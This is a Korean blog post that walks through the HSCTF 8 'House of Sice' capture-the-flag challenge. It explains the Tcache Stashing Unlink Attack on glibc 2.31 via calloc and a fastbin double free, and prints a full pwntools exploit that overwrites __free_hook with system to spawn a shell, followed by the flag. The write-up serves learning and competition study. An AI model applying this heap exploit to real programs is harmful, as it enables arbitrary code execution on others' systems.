Sechack

HSCTF 8 - House of Sice 풀이 본문

CTF

HSCTF 8 - House of Sice 풀이

Sechack 2021. 6. 20. 02:47
반응형

calloc에 대한 재미있는 내용을 배운 문제였다. 일단 나는 이문제를 풀때 당시에는 새벽이어서 잠결에 calloc으로 이것저것 해보다가 우연히 걸린거라서 원리는 문제를 풀고 하루가 지난 시점인 지금 알았다. 

exploit에 사용된 공격 기법은 Tcache Stashing Unlink Attack이다.

 

 

 

main함수는 이렇다. 일단 가장 눈에 띄는게 system의 주소를 그냥 출력해준다. 그리고 문제에서 libc파일도 같이 주기때문에 libc leak을 할 필요가 없고 libc database를 사용할 필요도 없다. libc파일의 버전은 2.31이었다. (ubuntu 20.04)

 

 

메뉴를 출력해준다.

 

 

 

1번을 선택하면 호출되는 함수이다. 일단 여기서도 메뉴가 있는데 1번 메뉴를 사용하면 malloc(8)이 호출되고 2번 메뉴를 사용하면 calloc(8)이 호출된다. 2번 메뉴는 1번만 사용할 수 있다. chunk는 총 16번 할당할 수 있다.

 

 

앞부분에서 호출되는 함수를 보면 chunk를 총 16개까지 할당할 수 있음을 알 수 있다.

 

 

 

2번을 선택하면 호출되는 함수이다. 그냥 인덱스 선택하고 free하는거다. 얼핏보면 여기서 free하고 초기화를 안해줘서 UAF나 DFB가 발생할것처럼 보이지만 edit기능이 있는것도 아니고 해제한 포인터에 접근할 방법이 없다. 즉 free하고 초기화 안해줘도 UAF는 안된다. DFB는 터뜨릴수는 있는데 glibc 2.29부터 추가된 tcache검증때문에 key부분을 덮어야 하는데 key부분을 덮을 방법도 없다. strtoul함수를 사용해서 OOB도 불가능하다.

 

 

 

 

앞에서 calloc함수를 1번만 사용할 수 있다는걸 알았다. 굳이 이 기회를 준것은 calloc가지고 익스하라고 해석할 수 있다. calloc함수에 대해서 간략하게 알아보자면 일단 인자를 2개를 받는다. 그리고 인자 두개를 곱한만큼의 메모리가 할당된다. malloc함수와 가장 큰 차이점은 calloc는 할당된 메모리 영역을 초기화하는 과정을 거친다. 여기까지가 일반적으로 calloc함수에 대해서 구글링하면 나오는 한국어 문서에 있는 내용들이다.

 

 

그리고 이번 익스플로잇에서 가장 핵심적이고 중요한 내용을 알아보자면 calloc함수는 tcache를 사용하지 않는다. tcache bin을 꽉채우더라도 tcache bin을 재활용하지 않고 fastbin에 chunk가 있으면 그걸 재활용하게 된다. 그리고 가장 중요한건 이렇게 재활용을 한다음 tcache bin에 bck->fd의 값을 연결하게 된다. 더 자세한 내용은 아래 문서를 참고하시기 바랍니다.

 

 

https://blog.csdn.net/seaaseesa/article/details/105870247

 

Tcache Stashing Unlink Attack_seaaseesa的博客-CSDN博客

Tcache Stashing Unlink Attack Tcache Stashing Unlink Attack就是calloc的分配不从tcache bin里取chunk,calloc会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法

blog.csdn.net

 

이렇게 calloc함수가 fastbin을 재활용하면서 tcache bin으로 bck->fd를 연결하게 되고 이걸 이용해서 공격하는 기법을

Tcache Stashing Unlink Attack이라고 부르는것 같다. 한번 진짜로 문서에 서술된 대로 tcache bin이 바뀌는지 gdb를 통해서 살펴보겠다.

 

 

먼저 calloc을 하기 직전의 상황이다. fastbin dfb가 발생한 상황이다. 여기서 calloc를 호출하면??

 

 

 

문서에 서술된 대로 tcache bin에 bck->fd의 값이 들어가는것을 볼 수 있다. tcache bin은 size에 대한 별다른 검증이 없으므로 저상태로 할당을 3번 하게되면 free_hook을 원하는 값으로 덮을 수 있다. one_gadget으로 덮어도 되지만 안정적인 exploit을 위해서 system함수 주소로 덮고 /bin/sh문자열이 들어간 heap chunk의 주소를 free함수의 인자로 줬다.

이렇게 되면 free함수가 호출되면서 __free_hook이 호출되고 인자로 /bin/sh가 들어가게 되면서 system("/bin/sh")가 실행되게 된다. 아래는 Full exploit이다.

 

 

from pwn import *

r = remote("house-of-sice.hsc.tf", 1337)
#p = process("./house_of_sice")
e = ELF("./house_of_sice")
libc = ELF("./libc-2.31.so")
#libc = e.libc

def add(select, fd):
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", str(select))
    r.sendafter("> ", str(fd))

def free(idx):
    r.sendlineafter("> ", "2")
    r.sendlineafter("> ", str(idx))

r.recvline()
r.recvline()
r.recvline()
r.recvline()

system = int(r.recvline()[-15:].strip(), 16)
libc_base = system - libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

add(1, 1111)
add(1, 1111)
add(1, 1111)
add(1, 1111)
add(1, 1111)
add(1, 1111)
add(1, 1111)
add(1, 1111)
add(1, 1111)

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(7)

add(1, 1111)
add(1, 1111)
add(1, 1111)
add(2, free_hook)

add(1, 1111)
add(1, 0x68732f6e69622f)
add(1, system)

free(14)

r.interactive()

 

그리고 로컬에서는 r.recvline()을 3번 호출한 후에 system함수 주소를 받아왔는데 remote에서는 4번 호출해야 정상적으로 받아와졌다. 아무튼 페이로드를 보내보면

 

 

 

성공적으로 셸이 따인걸 볼 수 있다.

 

 

flag{tfw_the_double_free_check_still_sucks}

 

 

calloc함수에 대해서 배운 문제였다. 풀때 당시에는 원리 모르고 fastbin dfb된 상태에서 calloc로 이것저것 해보다가 tcache가 갑자기 변하길래 뭐지? 하는 마음으로 이것저것 할수있는거 다해보면서 거의 퍼징하듯이 익스했는데 원리를 알고나니까 뿌듯하다.

반응형

'CTF' 카테고리의 다른 글

제 23회 해킹캠프 CTF write up  (2) 2021.08.15
redpwnCTF 2021 - simultaneity  (0) 2021.07.11
HSCTF 8 - not-really-math 풀이  (0) 2021.06.19
HSCTF 8 - message-board 풀이  (0) 2021.06.19
dCTF 2021 - This one is really basic 풀이  (0) 2021.05.17
Comments